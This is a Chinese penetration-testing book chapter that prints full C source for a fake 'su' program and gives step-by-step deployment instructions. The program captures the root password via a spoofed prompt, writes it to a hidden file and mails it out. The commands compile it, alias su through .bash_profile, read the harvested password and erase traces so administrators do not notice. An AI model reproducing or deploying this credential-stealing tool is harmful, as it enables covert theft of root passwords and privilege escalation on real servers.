2.1 使用fakesu记录root用户的密码

在Linux渗透中,比较容易获取服务器上网站的WebShell。就目前的环境来说,Linux服务器提权比较困难。那么,如何在获取WebShell权限的情况下,通过WebShell反弹到指定了独立IP地址的服务器上,通过反弹的Shell安装程序捕获root用户的密码?本节就目前已知的记录root用户密码的方法进行探讨。

2.1.1 使用kpr-fakesu.c程序记录root用户的密码

kpr-fakesu.c程序的新版本为0.9beta167,它是由koper开发的(koper@linuxmail.org),程序代码如下。

#include <stdio.h> 
#include <stdlib.h> 
main(int argc, char *argv[]){ 
FILE *fp; 
char *user; 
char *pass; 
char filex[100]; 
char clean[100]; 
sprintf(filex,"/var/tmp/.mail"); 
sprintf(clean,"rm  -rf /var/tmp/.su;mv -f /home/webshell/.wgetrc /home/ 
webshell/ .bash_profile"); 
if(argc==1) user="root"; 
if(argc==2) user=argv[1]; 
if(argc>2){ 
if(strcmp(argv[1], "-l")==0) 
    user=argv[2]; 
else user=argv[1];} 
 
fprintf(stdout,"Password: "); pass=getpass (""); 
system("sleep 3"); 
fprintf(stdout,"su: Authentication failure\nSorry.\n"); 
 
if ((fp=fopen(filex,"w")) != NULL) 
   { 
   fprintf(fp, "%s:%s\n", user, pass); 
   fclose(fp); 
   } 
 
system(clean); 
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su"); 
 
system("uname -a >> /var/tmp/.mail; cat /var/tmp/.mail | mail  
admin@antian365.com"); 
 
} 

2.1.2 运行前必须修改程序

运行该程序前,必须对程序进行修改,否则即使执行该程序也不会得到结果。在上面的程序代码中有3个地方需要修改,具体如下。

(1)修改密码记录的文件名称

在代码中修改sprintf(filex,"/var/tmp/.mail")函数。在该函数中默认生成的密码记录文件的后缀是“.mail”,可以将“.mail”修改为任意文件后缀(以上代码中共有3处需要修改,一定要将这3处全部修改)。

(2)修改反弹Shell主目录

将“sprintf(clean,"rm -rf/var/tmp/.su; mv -f /home/webshell/.wgetrc/home/webshell /.bash_profile");”中的“/home/webshell”修改为实际用户的主目录名称(以上代码中有2处需要修改)。

(3)修改邮件发送地址

将“system("uname -a >> /var/tmp/.mail; cat /var/tmp/.mail | mail admin@antian 365.com");”中的邮件地址修改为能够接收邮件的邮件地址。如果不需要接收邮件,可以将该行代码删除。

2.1.3 运行键盘记录程序

下面我们开始运行键盘记录程序。

01 将fakesu.c程序复制到用户目录下

如果具备SSH用户权限,可以通过SSH Secure Shell的文件传输功能将本地文件上传到服务器,如图2-1所示。如果具备WebShell权限,也可以通过WebShell将fakesu.c程序上传到服务器。如果是反弹的DOS命令提示符,则可以通过命令“wget http:// www.somesite.com/ fakesu.c”将其下载到服务器。

0093-1

图2-1 将代码上传到服务器

02 再次检查代码

使用“cat fakesu.c”命令查看源程序代码,确认2.1.2节提及的3个地方都已正确修改,如图2-2所示。

0094-1

图2-2 执行前检查源代码

03 执行命令

执行如下命令。

chmod 777 fakesu.c 
gcc -o .su fakesu.c; rm -rf fakesu.c 
mv .su /var/tmp/.su 
cd ~ 
cp .bash_profile  .wgetrc 
cp .bash_profile  .wgetrb 
echo "alias su=/var/tmp/.su">>.bash_profile 
logout 
0095-1

图2-3 执行命令

04 查看密码记录文件

根据fakesu.c程序中设置的密码记录文件可知,在本例中记录的文件为“/var/tmp/.pwds”。该文件默认为隐藏属性,可以直接通过命令“cat /var/tmp/.pwds”查看,如图2-4所示,记录的root用户的密码为“simeon”。

0095-2

图2-4 获取root用户的密码

05 删除安装文件

当fakesu.c程序成功记录root用户的密码后,需要删除安装的程序文件,否则时间久了容易引起管理员的警觉。可以使用以下命令删除程序文件。

rm -rf /var/tmp/.su 
cp  .wgetrb .bash_profile   
rm -rf .wgetrc 
rm -rf /var/tmp/.pwds